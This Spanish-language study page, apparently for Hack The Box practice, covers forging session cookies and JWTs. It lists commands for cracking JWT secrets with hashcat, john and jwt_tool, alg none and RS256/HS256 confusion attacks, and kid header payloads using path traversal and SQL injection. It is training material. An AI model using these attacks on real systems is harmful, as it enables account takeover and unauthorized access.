Forjar credenciales web
Crear cookies de sesión o tokens (JWT, Flask) válidos firmándolos con un secreto robado o débil.
Cómo aparece en Hack The Box
Si encuentras la SECRET_KEY de Flask o el secreto de un JWT (en el código, un .env o crackeándolo), fírmate un token de administrador. Prueba también alg none y la confusión RS256/HS256.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Ataques a JWT: alg none, secretos débiles, confusión de algoritmos y kid 4 min de lectura Cómo leer un JWT, crackear su secreto con hashcat, abusar de alg none y de la confusión RS256/HS256 e inyectar en kid y jku para firmar tus propios tokens.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Analizador de JWT › Ataques
echo -n 'eyJhbGciOi...' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
python3 jwt_tool.py <JWT>
python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at
python3 jwt_tool.py <JWT> -X a
python3 jwt_tool.py <JWT> -X k -pk public.pem
La clave pública suele estar en /jwks.json, /.well-known/jwks.json o en el certificado TLS.
python3 jwt_tool.py <JWT> -X i
python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'
{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}
Firma después con un secreto vacío.
{"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'pwned'-- -"}
Si el servidor busca la clave en una base de datos, firma con el secreto "pwned".
jwt_tool › Crackear el secreto
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Ningún comando coincide.